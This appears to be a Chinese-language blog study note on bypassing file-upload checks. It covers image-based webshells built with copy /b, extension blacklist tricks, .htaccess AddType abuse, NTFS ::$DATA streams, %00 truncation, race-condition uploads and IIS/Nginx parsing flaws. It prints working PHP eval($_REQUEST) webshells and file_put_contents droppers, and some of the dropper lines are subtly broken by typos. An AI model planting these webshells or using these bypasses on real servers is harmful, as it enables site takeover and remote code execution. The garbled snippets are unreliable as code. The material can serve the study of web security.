Webshell:网站会话[拥有网站权限]
getshell:获取会话[比如上传网站木马获得Webshell权限,获得一个权限]
反弹shell:受害机器去访问攻击机
黑白名单机制:
黑名单:不允许上传什么
白名单:只允许上传什么
白名单比黑名单更安全
服务端检测几个常见的手段:
制作图片马绕过Content-Type :cmd: copy a.jpg/b + 1.txt 123.jpg
(1.txt里面放一句话木马,组合变成123.jpg图片马,图片马可以很好的绕过内容类型和文件头)
黑名单绕过:
能被解析的文件扩展名列表:
jsp jspx jspf
asp asa cer aspx
php php3 php4 php5 phtml
exe exee
文件名大小写,后缀.空绕过,构建pphphp双写绕过[后端没有二次校验]
.htaccess
文件绕过: 用了伪静态的网站都会开启这个功能
.htaccess文件也被称为分布式配置文件,提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。
.htaccess功能:
文件夹密码保护、用户自定义重定向、自定义404页面、扩展名伪静态化、禁止特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表
很可惜,这么一个强大的功能默认是不开启的
例如:AddType application/x-httpd-php .jpg 这个指令代表着.jpg文件会当做php来解析[把这条指令放进.htaccess文件]
改文件名:cmd: ren 17.txt .htaccess
windows
文件流绕过: ::$DATA
这里利用到了NTFS交换数据流(ADS),ADS是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上,而在资源管理器中却只能看到宿主文件,找不到寄宿文件。
1.txt = 1.txt::$DATA
cmd: echo hello world >>1.txt [相当于把hello world 写进1.txt]
cmd: echo hello world >>1.txt:a.txt[写进a.txt里面,a.txt寄宿在1.txt里面]
用cmd: notepad 1.txt:a.txt 可以打开寄宿文件 或者在cmd:dir /r 把寄宿文件显示出来
白名单绕过:
%00
截断[GET] 和00
截断[POST,抓包改hex]
php 5.3.29版本
以下可以使用00截断,往上的版本就没有00截断了
上传流程: 上传到临时目录 > 拼接到要移动的目录 > 移动过去重命名
修改上传时的目录:save_path=../upload/1.php%00
条件竞争绕过: 应用于先上传再检测
先检测还是还是先上传再检测然后删除
服务器运算需要时间,当图片马上传还在检测的时候去把文件访问到了,然后在图片马里面写一个木马文让它生成一个文件。跟计算机拼手速,在它删除前访问到上传的文件,然后就可以生成一个木马文件。
访问的线程要比上传的大
file_put_contents() 函数把一个字符串写入文件中。
<?php $a = '<?php @eval($_REQUEST[\'a\'])?>';file_put_contents('1.php',$a);?>
<?php file_put_comtects('nf.php';'<?php eval($_REQUEST[1])?>');?>
a=file_put_comtects('nf.php';'<?php eval($_REQUEST[1])?>');
扩展名为`asa、cer、cdx `都会被当做asp文件解析 [`IIS`默认配置这些扩展名会被`asp.dll`进行处理]
IIS 6.0在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞。这一漏洞有两种完全不同的利用方式:
test.asp;.jpg 他将当做asp进行解析
test.asp/123.jpg 他将当做asp进行解析
使用范围: PHP
中间件任意: IIS7.5 Nginx[典型]
这不是Nginx特有的漏洞,在`IIS7.0、IIS7.5、Lighttpd`等Web容器中也经常会出现这样的解析漏洞[直接在图片地址后面加/.php就可以了,如果乱码代表漏洞可用]
Nginx
默认是以CGI
的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设SCRIPT_FILENAME
。
当访问 www.xx.com/phpinfo.jpg/1.php
这个URL时,$fastcgi_script_name
被设置“phpinfo.jpg/1.php
”,然后构造成SCRIPT_FILENAME
(绝对路径)传递给PHP CGI
,如果开启了cgi.fix_pathinfo=1
选项(这个默认值就是1,所以没有设置过就是开启),那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME
(绝对路径)是phpinfo.jpg,而1.php是PATH_INFO
,所以就会phpinfo.jpg作为PHP文件来解析了.
也是一个逻辑问题,所以说我们只需要在正常的.jpg后面加/.php就可以成功的绕过解析
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.